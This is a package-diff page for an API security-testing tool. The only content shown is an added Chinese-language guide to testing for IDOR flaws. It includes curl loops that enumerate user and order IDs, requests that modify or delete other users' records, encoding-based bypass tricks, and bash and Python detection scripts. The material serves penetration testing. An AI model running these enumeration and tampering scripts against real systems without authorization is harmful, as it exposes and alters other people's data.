opencode-api-security-testing 4.0.1 → 5.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +48 -47
- package/postinstall.mjs +69 -40
- package/references/references/README.md +72 -0
- package/references/references/asset-discovery.md +119 -0
- package/references/references/fuzzing-patterns.md +129 -0
- package/references/references/graphql-guidance.md +108 -0
- package/references/references/intake.md +84 -0
- package/references/references/pua-agent.md +192 -0
- package/references/references/report-template.md +156 -0
- package/references/references/rest-guidance.md +76 -0
- package/references/references/severity-model.md +76 -0
- package/references/references/test-matrix.md +86 -0
- package/references/references/validation.md +78 -0
- package/references/references/vulnerabilities/01-sqli-tests.md +1128 -0
- package/references/references/vulnerabilities/02-user-enum-tests.md +423 -0
- package/references/references/vulnerabilities/03-jwt-tests.md +499 -0
- package/references/references/vulnerabilities/04-idor-tests.md +362 -0
- package/references/references/vulnerabilities/05-sensitive-data-tests.md +466 -0
- package/references/references/vulnerabilities/06-biz-logic-tests.md +501 -0
- package/references/references/vulnerabilities/07-security-config-tests.md +511 -0
- package/references/references/vulnerabilities/08-brute-force-tests.md +457 -0
- package/references/references/vulnerabilities/09-vulnerability-chains.md +465 -0
- package/references/references/vulnerabilities/10-auth-tests.md +537 -0
- package/references/references/vulnerabilities/11-graphql-tests.md +355 -0
- package/references/references/vulnerabilities/12-ssrf-tests.md +396 -0
- package/references/references/vulnerabilities/README.md +148 -0
- package/references/references/workflows.md +192 -0
- package/src/index.ts +153 -25
- package/src/src/index.ts +535 -0
|
@@ -0,0 +1,362 @@
|
|
|
1
|
+
# IDOR 越权测试
|
|
2
|
+
|
|
3
|
+
## 1. 概述
|
|
4
|
+
|
|
5
|
+
IDOR(Insecure Direct Object Reference,不安全的直接对象引用)是指通过修改请求中的参数值来访问未经授权的他人资源。
|
|
6
|
+
|
|
7
|
+
**危险等级**: 高
|
|
8
|
+
|
|
9
|
+
## 2. 测试点识别
|
|
10
|
+
|
|
11
|
+
### 2.1 常见越权参数
|
|
12
|
+
|
|
13
|
+
| 参数名 | 示例 |
|
|
14
|
+
|--------|------|
|
|
15
|
+
| id | `?id=123` |
|
|
16
|
+
| userId | `?userId=456` |
|
|
17
|
+
| orderId | `?orderId=789` |
|
|
18
|
+
| documentId | `?documentId=100` |
|
|
19
|
+
| fileId | `?fileId=200` |
|
|
20
|
+
|
|
21
|
+
### 2.2 常见越权接口
|
|
22
|
+
|
|
23
|
+
| 接口类型 | 示例 |
|
|
24
|
+
|----------|------|
|
|
25
|
+
| 查看他人资料 | `GET /api/user/info?userId=X` |
|
|
26
|
+
| 查看他人订单 | `GET /api/order/list?userId=X` |
|
|
27
|
+
| 查看他人消息 | `GET /api/message/list?receiverId=X` |
|
|
28
|
+
| 修改他人资料 | `POST /api/user/update` |
|
|
29
|
+
| 删除他人资源 | `DELETE /api/resource?id=X` |
|
|
30
|
+
|
|
31
|
+
## 3. 测试方法
|
|
32
|
+
|
|
33
|
+
### 3.1 水平越权测试
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
# 1. 用户A正常登录
|
|
37
|
+
POST /api/login
|
|
38
|
+
{"username": "userA", "password": "xxx"}
|
|
39
|
+
# 返回: {"userId": "100", "name": "User A"}
|
|
40
|
+
|
|
41
|
+
# 2. 用户A访问自己的数据
|
|
42
|
+
GET /api/user/info?userId=100
|
|
43
|
+
Headers: {"Authorization": "Bearer token_A"}
|
|
44
|
+
# 响应: {"userId": 100, "name": "User A", ...}
|
|
45
|
+
|
|
46
|
+
# 3. 用户A尝试访问用户B的数据
|
|
47
|
+
GET /api/user/info?userId=101
|
|
48
|
+
Headers: {"Authorization": "Bearer token_A"}
|
|
49
|
+
# 返回用户B的数据 → 存在IDOR
|
|
50
|
+
# 返回无权限/自己的数据 → 安全
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
### 3.2 批量遍历测试
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# 批量测试 userId
|
|
57
|
+
for i in {100..110}; do
|
|
58
|
+
curl -s "http://api/user/info?userId=$i" \
|
|
59
|
+
-H "Authorization: Bearer token_A"
|
|
60
|
+
done
|
|
61
|
+
|
|
62
|
+
# 批量测试 orderId
|
|
63
|
+
for i in {1..10}; do
|
|
64
|
+
curl -s "http://api/order/detail?orderId=$i" \
|
|
65
|
+
-H "Authorization: Bearer token_A"
|
|
66
|
+
done
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### 3.3 POST 参数篡改
|
|
70
|
+
|
|
71
|
+
```bash
|
|
72
|
+
# 1. 正常修改自己的信息
|
|
73
|
+
POST /api/user/update
|
|
74
|
+
Headers: {"Authorization": "Bearer token_A"}
|
|
75
|
+
{"userId": 100, "name": "User A Modified"}
|
|
76
|
+
|
|
77
|
+
# 2. 修改他人的信息
|
|
78
|
+
POST /api/user/update
|
|
79
|
+
Headers: {"Authorization": "Bearer token_A"}
|
|
80
|
+
{"userId": 101, "name": "User B Modified"}
|
|
81
|
+
# 成功修改 → 存在IDOR
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### 3.4 JWT/Token 篡改
|
|
85
|
+
|
|
86
|
+
```bash
|
|
87
|
+
# 1. 获取用户A的Token
|
|
88
|
+
POST /api/login
|
|
89
|
+
{"username": "userA", "password": "xxx"}
|
|
90
|
+
# 返回 Token A
|
|
91
|
+
|
|
92
|
+
# 2. 在 Token 中修改 userId 或直接修改请求参数
|
|
93
|
+
GET /api/user/info?userId=101
|
|
94
|
+
Headers: {"Authorization": "Bearer token_A"}
|
|
95
|
+
# 绕过验证访问用户B数据
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
## 4. 测试场景
|
|
99
|
+
|
|
100
|
+
### 4.1 资源查看
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
# 订单
|
|
104
|
+
GET /api/order/{orderId}
|
|
105
|
+
|
|
106
|
+
# 发票
|
|
107
|
+
GET /api/invoice/{invoiceId}
|
|
108
|
+
|
|
109
|
+
# 文件
|
|
110
|
+
GET /api/file/{fileId}
|
|
111
|
+
|
|
112
|
+
# 消息
|
|
113
|
+
GET /api/message/{messageId}
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### 4.2 资源修改
|
|
117
|
+
|
|
118
|
+
```bash
|
|
119
|
+
# 修改订单
|
|
120
|
+
POST /api/order/{orderId}
|
|
121
|
+
{"status": "cancelled"}
|
|
122
|
+
|
|
123
|
+
# 修改收货地址
|
|
124
|
+
POST /api/address/{addressId}
|
|
125
|
+
{"address": "hacker_address"}
|
|
126
|
+
|
|
127
|
+
# 修改手机号
|
|
128
|
+
POST /api/user/phone
|
|
129
|
+
{"phone": "13900000000"}
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
### 4.3 资源删除
|
|
133
|
+
|
|
134
|
+
```bash
|
|
135
|
+
DELETE /api/order/{orderId}
|
|
136
|
+
DELETE /api/file/{fileId}
|
|
137
|
+
DELETE /api/user/{userId}
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
## 5. 防护绕过
|
|
141
|
+
|
|
142
|
+
### 5.1 参数变形
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
# 尝试不同的参数名
|
|
146
|
+
?userId=100
|
|
147
|
+
?user_id=100
|
|
148
|
+
?user-id=100
|
|
149
|
+
?uid=100
|
|
150
|
+
?id=100
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
### 5.2 编码绕过
|
|
154
|
+
|
|
155
|
+
```bash
|
|
156
|
+
# Base64 编码
|
|
157
|
+
?id=MTAw (Base64 of 100)
|
|
158
|
+
|
|
159
|
+
# 十六进制
|
|
160
|
+
?id=0x64
|
|
161
|
+
|
|
162
|
+
# 双重 URL 编码
|
|
163
|
+
?id=%31%30%30
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
### 5.3 类型转换
|
|
167
|
+
|
|
168
|
+
```bash
|
|
169
|
+
# 字符串转数字
|
|
170
|
+
?id[]=100
|
|
171
|
+
?id=100.0
|
|
172
|
+
?id="100"
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
## 6. 关联漏洞
|
|
176
|
+
|
|
177
|
+
| 后续漏洞 | 利用路径 |
|
|
178
|
+
|----------|----------|
|
|
179
|
+
| 敏感信息泄露 | 遍历获取大量用户数据 |
|
|
180
|
+
| 垂直越权 | 篡改 role 参数提升权限 |
|
|
181
|
+
| 金融欺诈 | 修改他人订单、支付信息 |
|
|
182
|
+
|
|
183
|
+
## 7. 测试检查清单
|
|
184
|
+
|
|
185
|
+
```
|
|
186
|
+
□ 识别所有带 ID 参数的接口
|
|
187
|
+
□ 测试水平越权(访问他人同级别资源)
|
|
188
|
+
□ 测试垂直越权(访问更高级别资源)
|
|
189
|
+
□ 批量遍历测试(for循环)
|
|
190
|
+
□ 测试 POST 参数篡改
|
|
191
|
+
□ 测试 Token 篡改
|
|
192
|
+
□ 测试防护绕过(参数变形、编码)
|
|
193
|
+
□ 评估数据泄露范围
|
|
194
|
+
□ 检查是否有频率限制
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
## 8. IDOR 自动化测试脚本
|
|
198
|
+
|
|
199
|
+
### 8.1 误报判断标准
|
|
200
|
+
|
|
201
|
+
**【核心】判断IDOR必须有明确的差异证明**
|
|
202
|
+
|
|
203
|
+
```
|
|
204
|
+
判断逻辑:
|
|
205
|
+
1. 用自己账号获取自己数据 → 记录响应结构
|
|
206
|
+
2. 用自己账号尝试获取他人数据 → 检查响应差异
|
|
207
|
+
3. 差异必须是"他人数据"而不是"自己的另一个数据"
|
|
208
|
+
|
|
209
|
+
【真实IDOR特征】
|
|
210
|
+
- 返回了userId=X的数据,但请求用的是userId=Y的token
|
|
211
|
+
- 水平越权:返回了同级用户的数据
|
|
212
|
+
- 垂直越权:低权限用户获取了高权限数据
|
|
213
|
+
|
|
214
|
+
【误报特征】
|
|
215
|
+
- 公开接口本来就返回这些数据
|
|
216
|
+
- 返回的是"空数据"或"无权访问"提示
|
|
217
|
+
- 只是ID格式不同,实际获取的还是自己的数据
|
|
218
|
+
```
|
|
219
|
+
|
|
220
|
+
### 8.2 curl + 对比验证流程
|
|
221
|
+
|
|
222
|
+
```bash
|
|
223
|
+
# 1. 获取用户A的正常数据(基准)
|
|
224
|
+
curl -s -H "Authorization: Bearer token_A" \
|
|
225
|
+
"http://api/user/info?userId=100" > idor_baseline.json
|
|
226
|
+
|
|
227
|
+
# 2. 尝试用用户A的token访问用户B的数据
|
|
228
|
+
curl -s -H "Authorization: Bearer token_A" \
|
|
229
|
+
"http://api/user/info?userId=101" > idor_test.json
|
|
230
|
+
|
|
231
|
+
# 3. 对比两次响应
|
|
232
|
+
diff idor_baseline.json idor_test.json
|
|
233
|
+
|
|
234
|
+
# 4. 判断标准
|
|
235
|
+
# - 如果两次响应完全相同 → 可能不是IDOR(或者两人数据相同)
|
|
236
|
+
# - 如果userId从100变成101且数据也变了 → 确认IDOR
|
|
237
|
+
# - 如果返回"无权访问"→ 安全
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
### 8.3 多参数遍历测试
|
|
241
|
+
|
|
242
|
+
```bash
|
|
243
|
+
#!/bin/bash
|
|
244
|
+
# IDOR多参数批量测试
|
|
245
|
+
|
|
246
|
+
TOKEN="user_token"
|
|
247
|
+
BASE_URL="http://api"
|
|
248
|
+
|
|
249
|
+
# 常见越权参数
|
|
250
|
+
PARAMS=("userId" "id" "orderId" "documentId" "fileId" "accountId")
|
|
251
|
+
|
|
252
|
+
for param in "${PARAMS[@]}"; do
|
|
253
|
+
echo "Testing $param..."
|
|
254
|
+
|
|
255
|
+
# 测试不同ID值
|
|
256
|
+
for i in {100..105}; do
|
|
257
|
+
RESPONSE=$(curl -s -H "Authorization: Bearer $TOKEN" \
|
|
258
|
+
"$BASE_URL/user/info?${param}=${i}")
|
|
259
|
+
|
|
260
|
+
# 检查是否返回了数据(而非错误提示)
|
|
261
|
+
if echo "$RESPONSE" | grep -q "userId"; then
|
|
262
|
+
# 提取返回的userId
|
|
263
|
+
RETURNED_ID=$(echo "$RESPONSE" | grep -o '"userId":[0-9]*' | head -1)
|
|
264
|
+
echo " ${param}=${i} → $RETURNED_ID"
|
|
265
|
+
|
|
266
|
+
# 判断是否为IDOR(返回的userId与请求的不同)
|
|
267
|
+
if [[ "$RETURNED_ID" != *"100"* ]] && [[ "$RETURNED_ID" != *"101"* ]]; then
|
|
268
|
+
if [[ "$RETURNED_ID" == *"$i"* ]]; then
|
|
269
|
+
echo " [潜在IDOR] 请求${param}=${i},返回了对应数据"
|
|
270
|
+
fi
|
|
271
|
+
fi
|
|
272
|
+
fi
|
|
273
|
+
done
|
|
274
|
+
done
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
### 8.4 Python脚本(复杂场景)
|
|
278
|
+
|
|
279
|
+
```python
|
|
280
|
+
import requests
|
|
281
|
+
import json
|
|
282
|
+
import difflib
|
|
283
|
+
|
|
284
|
+
base_url = "http://api"
|
|
285
|
+
token = "user_token"
|
|
286
|
+
|
|
287
|
+
def get_baseline():
|
|
288
|
+
"""获取正常响应基准"""
|
|
289
|
+
resp = requests.get(
|
|
290
|
+
f"{base_url}/user/info",
|
|
291
|
+
params={"userId": 100},
|
|
292
|
+
headers={"Authorization": f"Bearer {token}"}
|
|
293
|
+
)
|
|
294
|
+
return resp.json()
|
|
295
|
+
|
|
296
|
+
def test_idor(param_name, param_value):
|
|
297
|
+
"""测试单个IDOR"""
|
|
298
|
+
resp = requests.get(
|
|
299
|
+
f"{base_url}/user/info",
|
|
300
|
+
params={param_name: param_value},
|
|
301
|
+
headers={"Authorization": f"Bearer {token}"}
|
|
302
|
+
)
|
|
303
|
+
return resp
|
|
304
|
+
|
|
305
|
+
def is_idor(baseline, response):
|
|
306
|
+
"""
|
|
307
|
+
判断是否为真实IDOR
|
|
308
|
+
|
|
309
|
+
【判断标准】
|
|
310
|
+
1. 响应状态码必须是200
|
|
311
|
+
2. 响应必须包含数据(不能是错误提示)
|
|
312
|
+
3. 返回的数据必须与请求的ID对应
|
|
313
|
+
4. 不能是"无权访问"或"用户不存在"
|
|
314
|
+
"""
|
|
315
|
+
if response.status_code != 200:
|
|
316
|
+
return False, "状态码不是200"
|
|
317
|
+
|
|
318
|
+
try:
|
|
319
|
+
data = response.json()
|
|
320
|
+
except:
|
|
321
|
+
return False, "响应不是JSON"
|
|
322
|
+
|
|
323
|
+
# 检查是否返回了数据(而非错误)
|
|
324
|
+
if not data or len(data) == 0:
|
|
325
|
+
return False, "返回空数据"
|
|
326
|
+
|
|
327
|
+
# 检查是否有错误提示
|
|
328
|
+
error_keywords = ["无权限", "权限不足", "不存在", "error", "failed"]
|
|
329
|
+
data_str = json.dumps(data).lower()
|
|
330
|
+
for kw in error_keywords:
|
|
331
|
+
if kw in data_str:
|
|
332
|
+
return False, f"包含错误提示: {kw}"
|
|
333
|
+
|
|
334
|
+
# 【核心判断】baseline和test返回的数据是否有实际差异
|
|
335
|
+
baseline_str = json.dumps(baseline, sort_keys=True)
|
|
336
|
+
test_str = json.dumps(data, sort_keys=True)
|
|
337
|
+
|
|
338
|
+
if baseline_str == test_str:
|
|
339
|
+
return False, "响应与基准完全相同"
|
|
340
|
+
|
|
341
|
+
# 检查返回的ID是否与请求的ID匹配
|
|
342
|
+
if "userId" in data and data["userId"] != param_value:
|
|
343
|
+
return True, f"IDOR: 请求userId={param_value}, 返回userId={data['userId']}"
|
|
344
|
+
|
|
345
|
+
return False, "数据有差异但可能是正常业务"
|
|
346
|
+
|
|
347
|
+
# 主测试流程
|
|
348
|
+
baseline = get_baseline()
|
|
349
|
+
print(f"基准数据: {json.dumps(baseline, indent=2)}")
|
|
350
|
+
|
|
351
|
+
# 测试不同ID
|
|
352
|
+
ids_to_test = [101, 102, 103, 104, 105]
|
|
353
|
+
for test_id in ids_to_test:
|
|
354
|
+
response = test_idor("userId", test_id)
|
|
355
|
+
is_vuln, reason = is_idor(baseline, response)
|
|
356
|
+
|
|
357
|
+
if is_vuln:
|
|
358
|
+
print(f"[VULN] IDOR - userId={test_id}: {reason}")
|
|
359
|
+
print(f" 响应: {response.json()}")
|
|
360
|
+
else:
|
|
361
|
+
print(f"[SAFE] userId={test_id}: {reason}")
|
|
362
|
+
```
|